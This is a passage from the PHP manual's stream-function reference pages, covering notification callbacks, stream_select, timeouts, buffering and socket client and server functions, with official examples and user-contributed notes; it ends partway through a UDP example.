If applicable, the bytes_max will be populated.

Return Values

No value is returned.

Examples

Example #1 stream_notification_callback() example

<?php
function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {

    switch($notification_code) {
        case STREAM_NOTIFY_RESOLVE:
        case STREAM_NOTIFY_AUTH_REQUIRED:
        case STREAM_NOTIFY_COMPLETED:
        case STREAM_NOTIFY_FAILURE:
        case STREAM_NOTIFY_AUTH_RESULT:
            var_dump($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max);
            /* Ignore */
            break;

        case STREAM_NOTIFY_REDIRECTED:
            echo "Being redirected to: ", $message;
            break;

        case STREAM_NOTIFY_CONNECT:
            echo "Connected...";
            break;

        case STREAM_NOTIFY_FILE_SIZE_IS:
            echo "Got the filesize: ", $bytes_max;
            break;

        case STREAM_NOTIFY_MIME_TYPE_IS:
            echo "Found the mime-type: ", $message;
            break;

        case STREAM_NOTIFY_PROGRESS:
            echo "Made some progress, downloaded ", $bytes_transferred, " so far";
            break;
    }
    echo "\n";
}

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

file_get_contents("http://php.net/contact", false, $ctx);
?>

The above example will output something similar to:

Connected...
Found the mime-type: text/html; charset=utf-8
Being redirected to: http://no.php.net/contact
Connected...
Got the filesize: 0
Found the mime-type: text/html; charset=utf-8
Being redirected to: http://no.php.net/contact.php
Connected...
Got the filesize: 4589
Found the mime-type: text/html;charset=utf-8
Made some progress, downloaded 0 so far
Made some progress, downloaded 0 so far
Made some progress, downloaded 0 so far
Made some progress, downloaded 1440 so far
Made some progress, downloaded 2880 so far
Made some progress, downloaded 4320 so far
Made some progress, downloaded 5760 so far
Made some progress, downloaded 6381 so far
Made some progress, downloaded 7002 so far

Example #2 Simple progressbar for commandline download client

<?php
function usage($argv) {
    echo "Usage:\n";
    printf("\tphp %s <http://example.com/file> <localfile>\n", $argv[0]);
    exit(1);
}

function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {
    static $filesize = null;

    switch($notification_code) {
    case STREAM_NOTIFY_RESOLVE:
    case STREAM_NOTIFY_AUTH_REQUIRED:
    case STREAM_NOTIFY_COMPLETED:
    case STREAM_NOTIFY_FAILURE:
    case STREAM_NOTIFY_AUTH_RESULT:
        /* Ignore */
        break;

    case STREAM_NOTIFY_REDIRECTED:
        echo "Being redirected to: ", $message, "\n";
        break;

    case STREAM_NOTIFY_CONNECT:
        echo "Connected...\n";
        break;

    case STREAM_NOTIFY_FILE_SIZE_IS:
        $filesize = $bytes_max;
        echo "Filesize: ", $filesize, "\n";
        break;

    case STREAM_NOTIFY_MIME_TYPE_IS:
        echo "Mime-type: ", $message, "\n";
        break;

    case STREAM_NOTIFY_PROGRESS:
        if ($bytes_transferred > 0) {
            if (!isset($filesize)) {
                printf("\rUnknown filesize.. %2d kb done..", $bytes_transferred/1024);
            } else {
                $length = (int)(($bytes_transferred/$filesize)*100);
                printf("\r[%-100s] %d%% (%2d/%2d kb)", str_repeat("=", $length). ">", $length, ($bytes_transferred/1024), $filesize/1024);
            }
        }
        break;
    }
}

isset($argv[1], $argv[2]) or usage($argv);

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

$fp = fopen($argv[1], "r", false, $ctx);
if (is_resource($fp) && file_put_contents($argv[2], $fp)) {
    echo "\nDone!\n";
    exit(0);
}

$err = error_get_last();
echo "\nErrrrrorr..\n", $err["message"], "\n";
exit(1);
?>

Executing the example above with: php -n fetch.php http://no2.php.net/get/php-5-LATEST.tar.bz2/from/this/mirror php-latest.tar.bz2 will output something similar too:

Connected...
Mime-type: text/html; charset=utf-8
Being redirected to: http://no2.php.net/distributions/php-5.2.5.tar.bz2
Connected...
Filesize: 7773024
Mime-type: application/octet-stream
[========================================>                                                           ] 40% (3076/7590 kb)

See Also

  • Context parameters

User Contributed Notes

recycling dot sp dot am at gmail dot com 10-Sep-2010 02:08
Please note that the callback function never gets called when the stream is (at least) of type socket. It is probably the same for the file:// proto although I've not done further tests.

I'm using php 5.3.3.


Alias of stream_wrapper_register

  • « stream_notification_callback
  • stream_resolve_include_path »
  • PHP Manual
  • Stream Functions
  • Alias of stream_wrapper_register

stream_register_wrapper

(PHP 4 >= 4.3.0, PHP 5)

stream_register_wrapper — Alias of stream_wrapper_register()

Description

This function is an alias of: stream_wrapper_register().

User Contributed Notes

manuzhai (AT) php (DOT) net 07-Jan-2003 08:59
To get the https wrapper working on Windows, you need to replace your php4ts.dll with the one provided at http://ftp.proventum.net/pub/php/win32/misc/openssl/. This is instead of using the php_openssl.dll, so be sure to comment this extension in your php.ini.


Resolve filename against the include path

  • « stream_register_wrapper
  • stream_select »
  • PHP Manual
  • Stream Functions
  • Resolve filename against the include path

stream_resolve_include_path

(PHP 5 >= 5.3.2)

stream_resolve_include_path — Resolve filename against the include path

Description

string stream_resolve_include_path ( string $filename )

Resolve filename against the include path according to the same rules as fopen()/include.

Parameters

filename

The filename to resolve.

Return Values

Returns a string containing the resolved absolute filename, or FALSE on failure.

Examples

Example #1 stream_resolve_include_path() example

Basic usage example.

<?php
var_dump(stream_resolve_include_path("test.php"));
?>

The above example will output something similar to:

string(22) "/var/www/html/test.php"

User Contributed Notes

zelnaga at gmail dot com 17-Jun-2014 11:48
In case you're running a version of PHP that doesn't have this function...

if (!function_exists('stream_resolve_include_path')) {
    /**
     * Resolve filename against the include path.
     *
     * stream_resolve_include_path was introduced in PHP 5.3.2. This is kinda a PHP_Compat layer for those not using that version.
     *
     * @param Integer $length
     * @return String
     * @access public
     */
    function stream_resolve_include_path($filename)
    {
        $paths = PATH_SEPARATOR == ':' ?
            preg_split('#(?<!phar):#', get_include_path()) :
            explode(PATH_SEPARATOR, get_include_path());
        foreach ($paths as $prefix) {
            $ds = substr($prefix, -1) == DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR;
            $file = $prefix . $ds . $filename;

            if (file_exists($file)) {
                return $file;
            }
        }

        return false;
    }
}
tambet dot matiisen at gmail dot com 28-Mar-2013 09:26
stream_resolve_include_path() seems to cache it's output. After I renamed a file, I had to restart Apache for stream_resolve_include_path() to not return non-existing file name. This was on Windows.
kontakt at victorjonsson dot se 25-Apr-2012 05:13
This seems to be a great alternative to file_exists.

if( file_exists(__DIR__.'/som-file.php') )

Goes way slower than:

if( stream_resolve_inlcude_path(__DIR__.'/som-file.php') !== false)
sebastian dot krebs at kingcrunch dot de 17-Feb-2011 12:03
It really behaves like `include` and will only resolve the filename against the include-path, if the path is relative. It makes not much sense to resolve already absolute pathnames anyway.


Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec

  • « stream_resolve_include_path
  • stream_set_blocking »
  • PHP Manual
  • Stream Functions
  • Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec

stream_select

(PHP 4 >= 4.3.0, PHP 5)

stream_select — Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec

Description

int stream_select ( array &$read , array &$write , array &$except , int $tv_sec [, int $tv_usec = 0 ] )

The stream_select() function accepts arrays of streams and waits for them to change status. Its operation is equivalent to that of the socket_select() function except in that it acts on streams.

Parameters

read

The streams listed in the read array will be watched to see if characters become available for reading (more precisely, to see if a read will not block - in particular, a stream resource is also ready on end-of-file, in which case an fread() will return a zero length string).

write

The streams listed in the write array will be watched to see if a write will not block.

except

The streams listed in the except array will be watched for high priority exceptional ("out-of-band") data arriving.

Note:

When stream_select() returns, the arrays read, write and except are modified to indicate which stream resource(s) actually changed status.

You do not need to pass every array to stream_select(). You can leave it out and use an empty array or NULL instead. Also do not forget that those arrays are passed by reference and will be modified after stream_select() returns.
tv_sec

The tv_sec and tv_usec together form the timeout parameter, tv_sec specifies the number of seconds while tv_usec the number of microseconds. The timeout is an upper bound on the amount of time that stream_select() will wait before it returns. If tv_sec and tv_usec are both set to 0, stream_select() will not wait for data - instead it will return immediately, indicating the current status of the streams.

If tv_sec is NULL stream_select() can block indefinitely, returning only when an event on one of the watched streams occurs (or if a signal interrupts the system call).

Warning

Using a timeout value of 0 allows you to instantaneously poll the status of the streams, however, it is NOT a good idea to use a 0 timeout value in a loop as it will cause your script to consume too much CPU time.

It is much better to specify a timeout value of a few seconds, although if you need to be checking and running other code concurrently, using a timeout value of at least 200000 microseconds will help reduce the CPU usage of your script.

Remember that the timeout value is the maximum time that will elapse; stream_select() will return as soon as the requested streams are ready for use.

tv_usec

See tv_sec description.

Return Values

On success stream_select() returns the number of stream resources contained in the modified arrays, which may be zero if the timeout expires before anything interesting happens. On error FALSE is returned and a warning raised (this can happen if the system call is interrupted by an incoming signal).

Examples

Example #1 stream_select() Example

This example checks to see if data has arrived for reading on either $stream1 or $stream2. Since the timeout value is 0 it will return immediately:

<?php
/* Prepare the read array */
$read   = array($stream1, $stream2);
$write  = NULL;
$except = NULL;
if (false === ($num_changed_streams = stream_select($read, $write, $except, 0))) {
    /* Error handling */
} elseif ($num_changed_streams > 0) {
    /* At least on one of the streams something interesting happened */
}
?>

Notes

Note:

Due to a limitation in the current Zend Engine it is not possible to pass a constant modifier like NULL directly as a parameter to a function which expects this parameter to be passed by reference. Instead use a temporary variable or an expression with the leftmost member being a temporary variable:

<?php
$e = NULL;
stream_select($r, $w, $e, 0);
?>

Note:

Be sure to use the === operator when checking for an error. Since the stream_select() may return 0 the comparison with == would evaluate to TRUE:

<?php
$e = NULL;
if (false === stream_select($r, $w, $e, 0)) {
    echo "stream_select() failed\n";
}
?>

Note:

If you read/write to a stream returned in the arrays be aware that they do not necessarily read/write the full amount of data you have requested. Be prepared to even only be able to read/write a single byte.

Note:

Some streams (like zlib) cannot be selected by this function.

Note:

Windows compatibility: stream_select() used on a pipe returned from proc_open() may cause data loss under Windows 98.

Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.

See Also

  • stream_set_blocking() - Set blocking/non-blocking mode on a stream

User Contributed Notes

rob at associatedtechs dot com 18-Jul-2014 09:26
If you try to use stream_select() with fread(), you may get bit by a combination of bugs (https://bugs.php.net/bug.php?id=52602 and https://bugs.php.net/bug.php?id=51056). As of PHP 5.5.10, fread() and stream_select() don't reliably play well together.

If you need stream_select() and you don't need an encrypted connection (e.g. TLS), use stream_socket_recvfrom() instead of fread().

I can't find a way to reliably handle an encrypted connection with blocking functions in PHP; non-blocking might be the only way to do it.
mark2xv at gmail dot com 21-Aug-2013 01:52
If you're getting unexplainable problems with nonblocking sockets using stream_select, disable the buffers using:

stream_set_read_buffer($socket, 0);
stream_set_write_buffer($socket, 0);

For some reason when writing (in total) ~256k, sockets start returning FALSE when reading, yet always appear in the stream_select arrays. This fixed that problem. (for us.)
aks at esoft dot dk 10-Nov-2010 04:56
stream_select() looks deceptively like a simple wrapper around POSIX select(2).

But beware: while select(2) allows you to pass no file descriptors and use it as a "portable subsecond sleep", PHP will complain with "Warning: stream_select(): No stream arrays were passed in ****" if all arrays are empty or null, and it WONT sleep, it will return immediately. So... if the number of file descriptors you have isn't static, you have to deal with the special case yourself.
lynch at php dot net 15-Mar-2010 09:48
Note: At least one of the input arrays must be non-empty, or you get an E_WARNING message:
PHP Warning:  stream_select(): unable to select [9]: Bad file descriptor (max_fd=0) in
jerrywilborn at gmail dot com 27-Jul-2009 07:55
http://bugs.php.net/bug.php?id=42682

This function will not return the number of changed streams under certain systems with older versions, but instead it will return '0'. Be careful.
php at richardneill dot org 05-Jul-2009 04:45
Note that reading from a regular file which is on end-of-file will *not* block. You'll get a non-blocking, zero-byte read.  However, stream_select *will* block if the input is a pipe, and there is no more data to be had.
Maxdamantus 30-Sep-2007 07:28
Simple stream_select wrapper.. Returns the first stream in the array, and sets parameter 2 to the key (So that it is easy to identify what received data):

<?php
function select($array, &$vkey, $timeout=0){
    $select = array();
    $null = NULL;
    foreach($array as $key => $sock){
        $x = count($select);
        $select[$x] = $sock;
        $keys[$x] = $key;
    }
    if(stream_select($select, $null, $null, $timeout)){
        foreach($keys as $key){
            if($array[$key] == $select[0]){
                $vkey = $key;
                return($select[0]);
            }
        }
    }
}

$streams = array("foo" => $stream_one, "bar" => $stream_two); // Create an array of two (already existant) streams.
if($new = select($streams, $key, 60)){ //Sets $new to the resource that next gets new data, and $key to either "foo", or "bar", depending which one it is.
    echo $key.":".stream_get_line($new, 2048)."\n";
}
?>
bluej100@gmail 22-Aug-2007 01:31
@mbaynton at gmail dot com

A handy syntactic trick:

<?php
$r = Array($stream1, $stream2);
stream_select($r, $w = null, $x = null, 1337);
?>

I've seen it recommended elsewhere in the documentation for clarifying magic arguments so maintainers don't have to go check the function itself, but it also solves your problem here.
Ben 02-Feb-2007 02:35
You can key on file descriptors just fine by casting them to an int or a string, which returns what you would expect.
maartenwolzak at gmail dot com 25-Jan-2007 10:36
Note that you should change the calctimeout function below to divide the outcome by 1.000.000 otherwise you'll be waiting for two years instead of one minute for the socket to timeout...

<?php

// The function to calculate the timeout
function calctimeout($maxtime, $starttime)
{
   return ($maxtime - ((microtime(true) - $starttime) * 1000000))/1000000;
}

?>
aidan at aidans dot org 08-Dec-2006 04:53
Note that contrary to what the previous poster said, one is not able to use a stream resource as a key for an array. Rather, if you want to know which socket you are dealing with, consider using code similar to this:

<?php
$sockets = array("sock_1" => $sock1, "sock_2" => $sock2, "sock_3" => $sock_3);

$read = $write = $error = $sockets;
$num = stream_select($read, $write, $error, 10);
if ($n > 0) {
    foreach ($read as $r) {
        $key = array_search($r, $sockets);
        // $key will be "sock_1", "sock_2", "sock_3", etc.
    }
}
?>

Hope that helps someone out there!
phpdoc at shemesh dot biz 14-Mar-2005 10:33
Please note that, on return, the key of "read" will be zero based, serially numbered according to the streams for which there is read data ready only. In other words, if you want to know which of the original streams placed in "read" is ready, there is no immediate way of knowing that.

If you want to know which of the original stream is which, you can either use "==", or possibly set a reverse map array, in which the stream is the key, and the key to the original "read" array is the data.
aidan at php dot net 22-Jun-2004 08:30
If you want to set an absolute maximum execution time for stream_select in a loop, it's important to decrement the max_time value passed to stream_select.

<?php
// The maximum time for execution in milliseconds
$maxtime = 200000;
// The time the loop started
$starttime = microtime(true);
// Original array of sockets
$r = $orig_sockets;

// The function to calculate the timeout
function calctimeout($maxtime, $starttime)
{
    return $maxtime - ((microtime(true) - $starttime) * 1000000);
}

while (stream_select($r, $w = null, $e = null, 0, calctimeout($maxtime, $starttime)) !== 0)
{
    // loop through the sockets that showed activity
    foreach ($r as $socket) {
        // $socket talked
    }

    // stream_select modifies the contents of $r
    // in a loop we should replace it with the original
    $r = $orig_sockets;
}

?>


Set blocking/non-blocking mode on a stream

  • « stream_select
  • stream_set_chunk_size »
  • PHP Manual
  • Stream Functions
  • Set blocking/non-blocking mode on a stream

stream_set_blocking

(PHP 4 >= 4.3.0, PHP 5)

stream_set_blocking — Set blocking/non-blocking mode on a stream

Description

bool stream_set_blocking ( resource $stream , int $mode )

Sets blocking or non-blocking mode on a stream.

This function works for any stream that supports non-blocking mode (currently, regular files and socket streams).

Parameters

stream

The stream.

mode

If mode is 0, the given stream will be switched to non-blocking mode, and if 1, it will be switched to blocking mode. This affects calls like fgets() and fread() that read from the stream. In non-blocking mode an fgets() call will always return right away while in blocking mode it will wait for data to become available on the stream.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

This function was previously called as set_socket_blocking() and later socket_set_blocking() but this usage is deprecated.

See Also

  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec

User Contributed Notes

Anonymous 04-Jan-2013 04:38
On Windows this function does not work with pipes opened with proc_open (https://bugs.php.net/bug.php?id=47918, https://bugs.php.net/bug.php?id=34972, https://bugs.php.net/bug.php?id=51800)
MagicalTux at ookoo dot org 08-Sep-2006 08:13
When you use fwrite() on a non-blocking stream, data isn't discarded silently as t dot starling said.

Remember that fwrite() returns an int, and this int represents the amount of data really written to the stream. So, if you see that fwrite() returns less than the amount of written data, it means you'll have to call fwrite() again in the future to write the remaining amount of data.

You can use stream_select() to wait for the stream to be available for writing, then continue writing data to the stream.

Non-blocking streams are useful as you can have more than one non-blocking stream, and wait for them to be available for writing.


Set the stream chunk size

  • « stream_set_blocking
  • stream_set_read_buffer »
  • PHP Manual
  • Stream Functions
  • Set the stream chunk size

stream_set_chunk_size

(PHP 5 >= 5.4.0)

stream_set_chunk_size — Set the stream chunk size

Description

int stream_set_chunk_size ( resource $fp , int $chunk_size )

Set the stream chunk size.

Parameters

fp

The target stream.

chunk_size

The desired new chunk size.

Return Values

Returns the previous chunk size on success.

Will return FALSE if chunk_size is less than 1 or greater than PHP_INT_MAX.

Errors/Exceptions

Will emit an E_WARNING level error if chunk_size is less than 1 or greater than PHP_INT_MAX.

User Contributed Notes

There are no user contributed notes for this page.


Set read file buffering on the given stream

  • « stream_set_chunk_size
  • stream_set_timeout »
  • PHP Manual
  • Stream Functions
  • Set read file buffering on the given stream

stream_set_read_buffer

(PHP 5 >= 5.3.3)

stream_set_read_buffer — Set read file buffering on the given stream

Description

int stream_set_read_buffer ( resource $stream , int $buffer )

Sets the read buffer. It's the equivalent of stream_set_write_buffer(), but for read operations.

Parameters

stream

The file pointer.

buffer

The number of bytes to buffer. If buffer is 0 then read operations are unbuffered. This ensures that all reads with fread() are completed before other processes are allowed to read from that input stream.

Return Values

Returns 0 on success, or EOF if the request cannot be honored.

See Also

  • stream_set_write_buffer() - Sets write file buffering on the given stream

User Contributed Notes

There are no user contributed notes for this page.


Set timeout period on a stream

  • « stream_set_read_buffer
  • stream_set_write_buffer »
  • PHP Manual
  • Stream Functions
  • Set timeout period on a stream

stream_set_timeout

(PHP 4 >= 4.3.0, PHP 5)

stream_set_timeout — Set timeout period on a stream

Description

bool stream_set_timeout ( resource $stream , int $seconds [, int $microseconds = 0 ] )

Sets the timeout value on stream, expressed in the sum of seconds and microseconds.

When the stream times out, the 'timed_out' key of the array returned by stream_get_meta_data() is set to TRUE, although no error/warning is generated.

Parameters

stream

The target stream.

seconds

The seconds part of the timeout to be set.

microseconds

The microseconds part of the timeout to be set.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
4.3.0 | As of PHP 4.3, this function can (potentially) work on any kind of stream. In PHP 4.3, socket based streams are still the only kind supported in the PHP core, although streams from other extensions may support this function.

Examples

Example #1 stream_set_timeout() example

<?php
$fp = fsockopen("www.example.com", 80);
if (!$fp) {
    echo "Unable to open\n";
} else {

    fwrite($fp, "GET / HTTP/1.0\r\n\r\n");
    stream_set_timeout($fp, 2);
    $res = fread($fp, 2000);

    $info = stream_get_meta_data($fp);
    fclose($fp);

    if ($info['timed_out']) {
        echo 'Connection timed out!';
    } else {
        echo $res;
    }

}
?>

Notes

Note:

This function doesn't work with advanced operations like stream_socket_recvfrom(), use stream_select() with timeout parameter instead.

This function was previously called as set_socket_timeout() and later socket_set_timeout() but this usage is deprecated.

See Also

  • fsockopen() - Open Internet or Unix domain socket connection
  • fopen() - Opens file or URL

User Contributed Notes

jack.whoami 28-May-2014 05:25
Just in case someone stumbles into my situation... I was trying to get the microseconds part to work and it just wasn't working as expected.

Assuming blocking mode is true and I use

<?php stream_set_timeout($s, 1, 0);?>

I get a 1s delay as expected. However when I do

<?php stream_set_timeout($s, 0, 500);?>

I expect a 500microsecond delay but I get no delays at all. However when i do this

<?php stream_set_timeout($s, 0, 500000);?>

I get a 500 microsecond delay which is what I was expecting
emailfire at gmail dot com 18-May-2011 10:28
This function seems to have no effect when running as a CLI script, see http://bugs.php.net/bug.php?id=36030
hamishcool3 at yahoo dot co dot uk 29-Oct-2010 06:29
In case anyone is puzzled, stream_set_timeout DOES NOT work for sockets created with socket_create or socket_accept. Use socket_set_option instead.

Instead of:
<?php
stream_set_timeout($socket,$sec,$usec);
?>

Use:
<?php
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec'=>$sec, 'usec'=>$usec));
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec'=>$sec, 'usec'=>$usec));
?>
mildly dull at terriblyclever dot com 30-Nov-2009 02:53
I didn't have much luck with the suggestions below (although I likely applied them wrong).
Instead, I used stream_context_create() and set an http option for timeout. I fed that context into file_get_contents() and voila!

To my desperate friend below: the https transport can also use the http stream context options. I haven't verified this works as I don't have a slow responding ssl to test on. But if you are still stressing, give the below a shot (you may need to modify a bit...)

<?php
    $timeout = 5*60;
    $options = array(
          'http'=>array(
            'method'=>"GET",
            'header'=>"Accept-language: en\r\n",
              'timeout' => $timeout
              )
        );
    $context = stream_context_create($options);
    $contents = file_get_contents($source, false, $context);
?>

Yes...that is a 5 minute timeout.
Martin Butt - martin at anti_spambutt.cx 12-Mar-2007 06:39
Here is a working example for loops:

<?php
// Timeout in seconds
$timeout = 5;

$fp = fsockopen("www.server.com", 80, $errno, $errstr, $timeout);

if ($fp) {
        fwrite($fp, "GET /file.php HTTP/1.0\r\n");
        fwrite($fp, "Host: www.server.com\r\n");
        fwrite($fp, "Connection: Close\r\n\r\n");

        stream_set_blocking($fp, TRUE);
        stream_set_timeout($fp,$timeout);
        $info = stream_get_meta_data($fp);

        while ((!feof($fp)) && (!$info['timed_out'])) {
                $data .= fgets($fp, 4096);
                $info = stream_get_meta_data($fp);
                ob_flush;
                flush();
        }

        if ($info['timed_out']) {
                echo "Connection Timed Out!";
        } else {
                echo $data;
        }
}
?>
Dianoga (dianoga7 [at] 3dgo.net) 20-Nov-2006 03:33
I have found that in order to actually stop the socket from timing out the script, you must call stream_get_meta_data and check for a timeout within the loop reading from the socket.

Example:

<?php
$sock = fsockopen($host, 80, $errno, $errstr, 30);
if(!$sock){
    echo "Unable to get server status";
}else{
    $out = "GET /server.php HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($sock, $out);

    stream_set_blocking($fp, FALSE );
    stream_set_timeout($sock, $timeout);
    $info = stream_get_meta_data($sock);

    while (!feof($sock) && !$info['timed_out']) {
        $file .= fgets($sock, 4096);
        $info = stream_get_meta_data($sock);
    }

    fclose($sock);
?>
alfi_ at yahoo dot com 01-Aug-2006 05:10
If you are using fsockopen() to create a connection, first going to write into the stream and then waiting for the reply (e.g. simulating HTTP request with some extra headers), then stream_set_timeout() must be set only after the write - if it is before write, it has no effect on the read timeout :-(
Noticed at least on PHP/4.3.10
rtfm61 at yandex dot ru 25-Feb-2006 11:41
stream_set_timeout() is not suitable for such files as UNIX-devices (/dev/...), i suggest to use select() instead with desirable timeout value - that works well.
ridera 17-Feb-2005 02:37
I have found it required to add

"stream_set_blocking($fp, FALSE )"

prior to any fgets(), fread(), etc. to prevent the code from hanging up when remote files are called and the response is slow.


Sets write file buffering on the given stream

  • « stream_set_timeout
  • stream_socket_accept »
  • PHP Manual
  • Stream Functions
  • Sets write file buffering on the given stream

stream_set_write_buffer

(PHP 4 >= 4.3.0, PHP 5)

stream_set_write_buffer — Sets write file buffering on the given stream

Description

int stream_set_write_buffer ( resource $stream , int $buffer )

Sets the buffering for write operations on the given stream to buffer bytes.

Output using fwrite() is normally buffered at 8K. This means that if there are two processes wanting to write to the same output stream (a file), each is paused after 8K of data to allow the other to write.

Parameters

stream

The file pointer.

buffer

The number of bytes to buffer. If buffer is 0 then write operations are unbuffered. This ensures that all writes with fwrite() are completed before other processes are allowed to write to that output stream.

Return Values

Returns 0 on success, or EOF if the request cannot be honored.

Examples

Example #1 stream_set_write_buffer() example

The following example demonstrates how to use stream_set_write_buffer() to create an unbuffered stream.

<?php
$fp = fopen($file, "w");
if ($fp) {
  stream_set_write_buffer($fp, 0);
  fwrite($fp, $output);
  fclose($fp);
}
?>

See Also

  • fopen() - Opens file or URL
  • fwrite() - Binary-safe file write

User Contributed Notes

There are no user contributed notes for this page.


Accept a connection on a socket created by stream_socket_server

  • « stream_set_write_buffer
  • stream_socket_client »
  • PHP Manual
  • Stream Functions
  • Accept a connection on a socket created by stream_socket_server

stream_socket_accept

(PHP 5)

stream_socket_accept — Accept a connection on a socket created by stream_socket_server()

Description

resource stream_socket_accept ( resource $server_socket [, float $timeout = ini_get("default_socket_timeout") [, string &$peername ]] )

Accept a connection on a socket previously created by stream_socket_server().

Parameters

server_socket

The server socket to accept a connection from.

timeout

Override the default socket accept timeout. Time should be given in seconds.

peername

Will be set to the name (address) of the client which connected, if included and available from the selected transport.

Note:

Can also be determined later using stream_socket_get_name().

Return Values

Returns a stream to the accepted socket connection or FALSE on failure.

Notes

Warning

This function should not be used with UDP server sockets. Instead, use stream_socket_recvfrom() and stream_socket_sendto().

See Also

  • stream_socket_server() - Create an Internet or Unix domain server socket
  • stream_socket_get_name() - Retrieve the name of the local or remote sockets
  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • stream_set_timeout() - Set timeout period on a stream
  • fgets() - Gets line from file pointer
  • fgetss() - Gets line from file pointer and strip HTML tags
  • fwrite() - Binary-safe file write
  • fclose() - Closes an open file pointer
  • feof() - Tests for end-of-file on a file pointer
  • cURL Functions

User Contributed Notes

Andy at txtNation dot com 10-Oct-2011 06:13
To check if there's a new connection waiting, without blocking, or (when using non-blocking mode) without notices), you can use stream_accept (as opposed to socket_select).

<?php

    class GenericClass {

        protected $resSocket=null;

        function acceptConnections() {

            # check that we still have a resource

            if(is_resource($this->resSocket)) {

                $arrRead=array($this->resSocket);

                $arrWrite=array();

                /** @warning Passing $arrRead,$arrWrite by reference */
                if(stream_select($arrRead,$arrWrite,$arrWrite,0)) {

                    $resConnection=stream_socket_accept($this->resSocket,0);

                    # ... other stuff here
                }
            }
        }
    }
?>
fred dot hakeem dot smith at muslimamerica dot bob dot net 02-Jan-2008 09:33
To whom it may concern, and it may concern you greatly, stream_set_blocking has no effect on stream_socket_accept.
If you want it to return right away, connection or not, use 0 for the timeout parameter.
mickael dot bailly at free dot fr 18-Jul-2006 12:10
this function, compared to the function socket_accept, got an extra argument "timeout".
To make this function wait indefinitelly to incoming connections, just as in socket_accept, set timeout to -1. It works for me with PHP 5.0.4.
leleu256NOSPAM at hotmail dot com 02-Nov-2004 02:58
This code could be very helpfull...

The following code is for the "server". It listen for a message until CTRL-C

<?php
while (true)
{
// disconnected every 5 seconds...
receive_message('127.0.0.1','85',5);
}

function receive_message($ipServer,$portNumber,$nbSecondsIdle)
{
  // creating the socket...
  $socket = stream_socket_server('tcp://'.$ipServer.':'.$portNumber, $errno, $errstr);
  if (!$socket)
  {
    echo "$errstr ($errno)<br />\n";
  }
  else
   {
    // while there is connection, i'll receive it... if I didn't receive a message within $nbSecondsIdle seconds, the following function will stop.
    while ($conn = @stream_socket_accept($socket,$nbSecondsIdle))
    {
     $message= fread($conn, 1024);
     echo 'I have received that : '.$message;
     fputs ($conn, "OK\n");
     fclose ($conn);
    }
    fclose($socket);
  }
}
?>

The following code is for the "client". It send a message, and read the respons...

<?php

send_message('127.0.0.1','85','Message to send...');

function send_message($ipServer,$portServer,$message)
{
  $fp = stream_socket_client("tcp://$ipServer:$portServer", $errno, $errstr);
  if (!$fp)
  {
     echo "ERREUR : $errno - $errstr<br />\n";
  }
  else
  {
     fwrite($fp,"$message\n");
     $response =  fread($fp, 4);
     if ($response != "OK\n")
        {echo 'The command couldn\'t be executed...\ncause :'.$response;}
     else
        {echo 'Execution successfull...';}
     fclose($fp);
  }
}
?>


Open Internet or Unix domain socket connection

  • « stream_socket_accept
  • stream_socket_enable_crypto »
  • PHP Manual
  • Stream Functions
  • Open Internet or Unix domain socket connection

stream_socket_client

(PHP 5)

stream_socket_client — Open Internet or Unix domain socket connection

Description

resource stream_socket_client ( string $remote_socket [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") [, int $flags = STREAM_CLIENT_CONNECT [, resource $context ]]]]] )

Initiates a stream or datagram connection to the destination specified by remote_socket. The type of socket created is determined by the transport specified using standard URL formatting: transport://target. For Internet Domain sockets (AF_INET) such as TCP and UDP, the target portion of the remote_socket parameter should consist of a hostname or IP address followed by a colon and a port number. For Unix domain sockets, the target portion should point to the socket file on the filesystem.

Note:

The stream will by default be opened in blocking mode. You can switch it to non-blocking mode by using stream_set_blocking().

Parameters

remote_socket

Address to the socket to connect to.

errno

Will be set to the system level error number if connection fails.

errstr

Will be set to the system level error message if the connection fails.

timeout

Number of seconds until the connect() system call should timeout.

Note: This parameter only applies when not making asynchronous connection attempts.

Note:

To set a timeout for reading/writing data over the socket, use the stream_set_timeout(), as the timeout only applies while making connecting the socket.

flags

Bitmask field which may be set to any combination of connection flags. Currently the select of connection flags is limited to STREAM_CLIENT_CONNECT (default), STREAM_CLIENT_ASYNC_CONNECT and STREAM_CLIENT_PERSISTENT.

context

A valid context resource created with stream_context_create().

Return Values

On success a stream resource is returned which may
be used together with the other file functions (such as
fgets(), fgetss(),
fwrite(), fclose(), and
feof()), FALSE on failure.

Errors/Exceptions

On failure the errno and errstr arguments will be populated with the actual system level error that occurred in the system-level connect() call. If the value returned in errno is 0 and the function returned FALSE, it is an indication that the error occurred before the connect() call. This is most likely due to a problem initializing the socket. Note that the errno and errstr arguments will always be passed by reference.

Examples

Example #1 stream_socket_client() example

<?php
$fp = stream_socket_client("tcp://www.example.com:80", $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "GET / HTTP/1.0\r\nHost: www.example.com\r\nAccept: */*\r\n\r\n");
    while (!feof($fp)) {
        echo fgets($fp, 1024);
    }
    fclose($fp);
}
?>

Example #2 Using UDP connection

Retrieving the day and time from the UDP service "daytime" (port 13) on localhost.

<?php
$fp = stream_socket_client("udp://127.0.0.1:13", $errno, $errstr);
if (!$fp) {
    echo "ERROR: $errno - $errstr<br />\n";
} else {
    fwrite($fp, "\n");
    echo fread($fp, 26);
